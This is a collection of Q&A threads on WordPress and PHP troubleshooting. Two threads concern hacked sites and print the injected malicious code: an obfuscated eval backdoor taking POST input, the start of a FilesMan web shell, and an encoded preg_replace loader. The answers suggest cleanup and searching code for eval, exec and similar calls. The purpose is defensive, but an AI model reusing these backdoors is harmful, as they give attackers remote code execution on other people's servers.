WordPress files downloading instead of executing on the server - php
My WordPress files are downloading instead of executing on the server. I have tried changing the server but that does not solve the issue. I am sure it is happening from my WordPress files as the hosting runs other WordPress files smoothly.
I wish I could could provide the code but that isn't needed. Please guide me. Thanks.
I have only seen this happen when:
1) PHP is turned off or not installed on the server
2) The server needs to be reset
3) File names are not correct
4) The redirect script is not redirecting as it should
5) Links are not valid
The good news is most of these can be solved by you/your host. Call your host to ask them for help on verifying the PHP install/process. If everything is good (for instance, if you have another site on the same server that is working fine) then you need to verify file names. As this is WordPress and the file names are all pretty standard this isn't exactly likely but make sure there are no unwanted spaces and the file names are "something.php". With WordPress you may see a bunch of parameters passed through the URL so "something.php?blah=blah" Is fine too (no space between php and ?).
Check the link you are clicking. The file names might be good but the link may be bad. It might be as simple as fixing all the link URLs. From what I recall of WordPress, there is a built in method of linking to pages within the same WP site. I believe these are all based off the URL in the database so you may want to verify the URL in the database/config file to verify WP is sending them to the correct place. If they are not stored in the database and are instead, coded directly into the content, you may have to manually update every link to the correct URL.
Finally, if it is script or wordpress related you may want to consider a fresh WordPress install. The good thing about WordPress is all the good stuff is in the data base:
1) Make a backup of the data base
2) Trash your WP install completely
3) download and install new WP with desired plugins and themes
4) Restore database
If the last step breaks the server again, check URLs within the database: http://codex.wordpress.org/Changing_The_Site_URL
Your Host can usually help in backing up and restoring WP databases. Even godaddy (who does not support it) will often help you walk through the process (you really want to call the hosting team. As an ex-godaddy employee, those guys are the experts).
If this isn't enough information, please provide a link to the site. It will allow me to do some quick troubleshooting to determine the overall issue.
EDIT: Help for verifying php install
Create a php file with the following contents:
<?php phpinfo(); ?>
And upload it to your site
This will make information about your PHP install easily accessible
Note: DO NOT LEAVE THIS FILE UP PERMANENTLY AND DO NOT POST A LINK PUBLICLY, YOU DO NOT WANT RANDOM PEOPLE ON THE INTERNET ACCESSING THIS INFORMATION
If you can access the file and it loads up a bunch of information in a purple (I believe it is purple) table, your PHP install is up and running. If the file just downloads like the rest, contact your hosting provider.
Related
Wordpress attack regarding .htaccess file
I get an Internal server error when I try to access my site. Server is actually working fine, I have access like usual in the ftp mode. For some reason I am being attacked, likely an XSS attack, that affects my .htaccess file making it look like that: lots of ##: which results to a gigantic length of that line, making the server rendering it as a length overflow and not dipsplaying the site. When I try to modify that file, it has changed the permissions, so i first need to change them and then modify it. After I have deleted all the "#" site works fine. After some time, the same thing happens. I have the latest wordpress installation, and have also installed wordfence. How can I stop this? EDIT: Server admin says it hasn't to do with the server, because there are other wordpress sites with no problem.
There are two possibilities 1) You/Some Plugin creator have created some bad PHP files in your WordPress installation which are writing to your .htaccess (maybe creating an endless loop) - this would probably be custom scripts as most Plugins in the WordPress repository have been tested 2) Most likely your WordPress installation and/or server have been compromised/hacked. Your server admin definitly should take your request seriously. Steps to perform in case of hacked WordPress: 1) Make a backup 2) remove all files from the server and your database 3) change all passwords (WordPress, FTP, Provider-Login, database etc. etc.) 4) Make a fresh installation of WordPress 5) Check your database sql for any malicious code before putting the database backup in again 6) Check your WP-Content Folder for any malicious code before you put it on the server again In many cases some PHP file is corrupted by an attacker which may write to .htaccess
After changing the FTP password, there are no more unwanted file edits, thus no more overflow server issues.
How to secure configuration file containing database username and password
Issue
In order to connect my PHP code with MySQL database I use PDO way, creating variable, assigning it with new PDO object where arguments contain settings such as server, database, login and password. So in resulting code it could look like this:
$DAcess=new PDO("mysql:host=server;dbname=database","login","password");
I don't feel comfortable having my login data written directly into the code nor do I find it effective in case of possible changes of those data. It was recommended to me to solve this by storing those data in other text file (preferably .INI file) from which it is going to be retrieved anytime I need, for example, having file:
xampp/htdoc/EXERCISE/secret/config.ini
The problem is If any user figures out the location and name of this file, they can easily access it and its content by entering URL/HTTP request into their browser:
server(localhost)/EXERCISE/secret/config.ini
It was adviced to me by the same source the file is supposed to be forbidden from acess by those protocols. So I need to be able to acess the file with my PHP code but disallow any user to acess the directory/file on their own. How to do this?
Possible Solution
I have been roaming these pages and other similar forumses yet all results of my research with keywords such as "forbidden" were about users who lost permission unintentionally. I have also been looking for Google solution, yet Tutorials I have found were referencing to file located somewhere else in my XAMPP version and were about lines of settings not included in this file in my XAMPP version - considering I have downloaded XAMPP from official page, I should be having recent version, thus those tutorials were outdated.
It left me with no other choice but experiment on my own. After a while, I have found directory "forbidden" in directory "htdoc", have played with those files and have ended up with something looking like solution to my issue.
Specifically, I copied .htacess (obviously nameless text file with but extension) and placed its copy into to-be-forbidden directory. I changed nothing in the file but line referencing to login data storing file. I have created my own text file (nameless with but extension .ldatastore) where using copied pattern login:password I have written my own desired login data and made .htacess use this file instead of original htdoc/forbidden/.htpassw.
Since then, it seems it works. Whenever I try to acces those files with my browser on new session (browser closed and opened again, otherwise it doesn't need autentification again), it does not let me browse the directory nor look into its files (neither those which are responsible for those actions such as .htacess or those I created myself such as config.ini) unless I provide valid login data same to those in .ldatastore text file.
So why am I asking this? I feel uncomfortable doing it this way because of several reasons listed below. In case this is the only easy and possible solution, I can live with that, but in case there is much better way you would recommend, I will gladly read that, which is why I am asking for your suggestions. I was also writing this whole text to explain my case fully, provide enough data and express "I have done some research and understanding of the case before asking" so that this would not be by the rules of this page marked as "off-topic".
Reasons Why I Would Prefer Alternative Solution
I feel like it is XAMPP framework dependant. That the whole module making this work is part of the framework's code while .htacess just marks the directories that should be forbidden by this module. That means I am afraid If I would release my project on proper paid server hosting with their own PHP executing software, it wouldn't work everywhere and that this is just XAMPP way to do it. Correct me If I am wrong and this is solution used widely on any PHP executioner.
I was trying to understand the module's documentation located as text file in the "forbidden" directory yet it seems from the documentation this module was developed mainly to make one safe and forbidden server storing secret data accessible then by various different application on different servers rather than just forbidding secret directory (I would leave this directory to be part of my application which is major difference between my usage and by author assumed usage). Correct me If I am wrong and I misunderstood the usage.
Despite the fact I cannot acces the files via browser without login data, my PHP code seems to have no problem acessing the files - I used PHP code to retrieve text from text file that should be forbidden this way and it worked (it echoed the text) with no sign of problems. Well, in the end, I certainly would like to make it work this way yet I expected even PHP code that retrieves the text would need to somehow contain login data to have access. This way it feels like anyone instead of entering the reference into browser would make their own PHP code that would acces those files from my server (which would make this act to increase security useless little bit). Correct me If I am wrong and it is not this easy.
I feel paranoid that it is not safe enough solution. Correct me If I am wrong and it is totally safe and preffered solution.
Too Long, Didn't Read
Is copying and pasting and customizing .htacess file safe enough to make directory forbidden only acessible by my PHP code to retrieve data from there and is it useable on most platforms?
I have recently found in right bar of similar questions this one (How to secure database configuration file in project?), yet I am not sure whether it can be used in my case, too, and how to do so.
As #Darkbee stated, the simplest way is to have the file outside your website root. This would be accessible on the server, but not to the public under any circumstances. The alternative is to set the permissions to 400 on the file. .htaccess could block access, but not blocking access to the server (which needs access) is just a long way of doing what would be simpler just using permissions.
Migrating Wordpress servers, same domain.. Few questions
I'm helping a friend migrate her wordpress server to GoDaddy, and I think I may have bitten off more than I can chew... I've never migrated a wordpress before. This page here is the Wordpress wiki for moving Wordpress when your domain isn't changing. It doesn't seem to complex, but I'm terrified of accidentally ruining this website and I don't understand a couple of things on the wiki. The Wiki says If database and URL remains the same, you can move by just copying your files and database. Does this mean that I can just log in to her server from Filezilla and copy all of the files on the server? What does database mean, is that something separate from the files on the server? If database name or user changes, edit wp-config.php to have the correct values. This sort of goes with my first question.. What initiates a database name or user change? Apologies for my ignorance, but after an hour or so of searching around for these answers I'm left just as confused. Last but not least, is there anything else I should be aware of when migrating a wordpress? I'm a little nervous..
You are going to need to migrate you instalation in two parts. Part 1 you already eluded to. You will need to copy the files from one server to another. I am guessing you know how to do this so I will not dive any deeper into it. If you do need more explanation, please let me know and I will edit the question. Part 2 is what you mentioned but said you did not understand. Copying the database of wp install. Wordpress runs off of PHP and MySQL. The "files" part in part 1 is the PHP files (along with some html and css). You need to log into his MySQL server and do an export of his database. You should be able to export the database (How to export mysql database to another computer?) and import it into his new server on GoDaddy. (Error importing SQL dump into MySQL: Unknown database / Can't create database). Just take things slow, follow the guides that I have linked and do not delete anything from the first server until everything is working on the second. Please let me know if you do not understand anything.
if you don't feel confortable with database exports and imports, try using plugins like: http://wordpress.org/plugins/duplicator/ or http://wordpress.org/plugins/wordpress-move/ Check his docs for info. Luck!
• A database is literally a data base. It's where websites (and other applications) store their data eg. For Wordpress, it would be data such as posts, user information etc. If you are using a cPanel setup then you would need to get access to it and navigate to phpMyAdmin which is the GUI for managing a database. Now I'm not sure what type of setup you're using but that should be a start. • A database has a connection server address (usually localhost), a database name, username and password. These are setup at the time of setting up a database. When migrating servers, you would need to update those details in the wp-config.php file (I think around line 19 or so). • The annoying part about migrating Wordpress to another server is the domain change as you have to update the old domain with the new domain throughout the database. However since you're not changing domain names, it should be a smooth ride as long as the new server supports PHP and has a database.
Codeigniter application getting hacked, code injected in index.php
I have a codeigniter 2.0.2 project that keeps getting hacked. There are two main issues:
Malicious code is being added to the start of the index.php file
Rogue files are added to the server
According to the host there are no FTP logs to indicate these files were uploaded.
As there are no FTP upload logs related to the rogue files - does this mean it must be an exploit via the site itself e.g. a contact or upload form?
The site is on shared hosting - code it be a site on the same server is also getting hacked and this is causing the problems?
Would it help if I change the filename of index.php to something else?
As the index.php is getting modified should I CHMOD it to 644?
I've been looking for what the suggested permissions are for codeigniter projects but not sourced any yet. I was thinking 644 across the site apart from the upload/logs directory (777) - does this sound okay?
Code injected to the top of the index.php file:
<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-
which is then followed by a long preg_replace statement with a long encoded string. This is followed by a second statement:
if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}
There is a contact form and a form where a user can upload items using CKFinder 2.0.1. Going to update this and see if that resolves it.
There's a couple of things you can do: Check your logfiles for POST requests to files with weird or unfamiliar names, e.g. .cache_123.php - these could be backdoor scripts, especially filenames starting with a dot, thus hiding it from the (regular) filesystem. Download the complete live site and do a site-wide search for things such as base64_decode, exec, preg_replace, passthru, system, shell_exec, eval, FilesMan Have your entire (downloaded live) site checked by running it through anti-virus software (AVG, Avast, ...) Chmod upload directories 775 instead of 777 if possible
I know this is an old thread, but I'd like to add an option to figure out what and where the problem is occurring. Create a hook which loads each time (doesn't matter at which stage) and dump the $this->input->post() and ->get() to a log file together with the classname and method name. This way you will see quick enough where the problem started.
I think is far easier to hack through a PHP app rather than an FTP server. Do you have any upload forms ? If you can't go with a VPS, try asking your host to move it to another shared server.
I think you really need to perform a code audit to find where the core vulnerability lies. Unless you run some sort of integrity checks you can't be sure if attacker has put backdoor in other files. As a quick fix, I would suggest you to install ModSecurity Apache module if possible. Next, look for places in code where file injection could occur (usually file upload functions).
Injection of PHP code to perform a 301
Some how I have managed to be attacked in a very specific manner on a site I help mantain and I am looking into whether or not the server was directly hacked or someone was able to inject the malicious script somehow.
First someone managed to get this:
#preg_replace("\x7c\50\x5b\136\x3c\135\x2b\51\x7c\151\x73\145","\x65\166\x61\154\x28\47\x24\142\x66\167\x3d\71\x30\65\x38\67\x3b\47\x2e\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b\44\x62\146\x77\75\x39\60\x35\70\x37\73","\x4c\62\x35\157\x59\156\x4d\166\x64\62\x56\151\x4c\62\x78\160\x64\155\x55\166\x61\110\x52\153\x62\62\x4e\172\x4c\63\x52\154\x63\63\x51\166\x62\107\x56\62\x5a\127\x77\171\x58\63\x52\154\x63\63\x51\166\x62\107\x39\156\x4c\171\x34\154\x4f\104\x49\64\x52\123\x55\167\x4d\104\x45\172\x4a\125\x49\64\x52\152\x4d\154\x51\153\x4d\170\x51\151\x56\103\x4d\152\x4a\103\x4a\124\x52\107\x4e\124\x63\75");
Into the very top of a PHP file right after the files comments. What this, and most likey other code did, was 301 redirect anyone not connecting to the site through a browser to a payday loan site. This ONLY effected my homepage, all other pages where fine.
There was probably more code to do it but this was the most confusing part since this code sits in a file called functions.php which is only ever included however IT IS the first file to be included within index.php (my homepage).
It is completely confusing me how some one could have got code there without directly hacking the server, there is no user input used there, it is literally sitting above the entire file. There is nothing there except this injected code and some comments above.
My envo is:
Gentoo
PHP 5.2.14-pl0-gentoo
Apache 2
I have checked server logs however, as usual, they deleted their trail.
This is also partly, as you have noticed, a server question but atm it is 90% programming question so I thought I would ask it here first.
Is there any vulnerability within PHP that could cause this?
If you need clarification let me know.
Edit
I have a staging system which has a
Work
Preview
Live
I know this is nothing to do with SQL injection since if I switch live and preview folder around I get no problems. I also do not store the gentoo password within the DB or the App and you can only connect to the server in a small range of IP addresses except for Apache which accept 80 and 443 connections from any host. Plus I use SQL escaping classes and methods within the site (PDO, MySQLi etc).
So this problem (which is even more confusing) is only located within one copy of my site and not the DB or anything.
Pinpointing this kind of things is more on the server admin side I guess. Check the attacker-modified file date, and look for for suspicious activity in that date and time in the server's log (apache logs, FTP logs, ssh logs maybe). This also may depend on your traffic, log size, and level of access to your server, as it may be prohibitive. If you have any html form that upload files, verify the directory in wich the files are stored for php shells . Also check the permissions on that directory. If you are on a shared hosting, this also can be the result of the attacker injecting a shell on another site, and then attacking yours by that mean. In that case contact your hosting company.
It's 99% chance the webserver fault, SQL injection is one thing, but I don't know, maybe they managed to somehow get your password with SQL injection and then log in to a control panel or ftp, but, I'd say it's the webserver.
Ok so I understand how and why now. It was the one thing I thought it would never be: Wordpress. I was basically a victim of: http://muninn.net/blog/2012/06/a-tale-of-east-asian-history-british-loan-sharks-and-a-russian-hacker.html Using a tool like: http://www.youtube.com/watch?v=y-Z5-uHvONc You see even though my main site is not made from wordpress and it has got a wordpress blog located at: /blog/ the hacker was able to use various Wordpress vulnerabilities to get around the location problem and plant scripts on any part of the server. By the way, this actually happened on the latest install of Wordpress. Double checked the version. We are not totally sure exactly when he placed the script (there are multiple instances of the foreign script being placed throughout the years!) but we do know this recent attack must have been sited also quite recently which puts the latest version (or the version before) under a huge amount of scrutiny. So a nice note of caution about Wordpress there...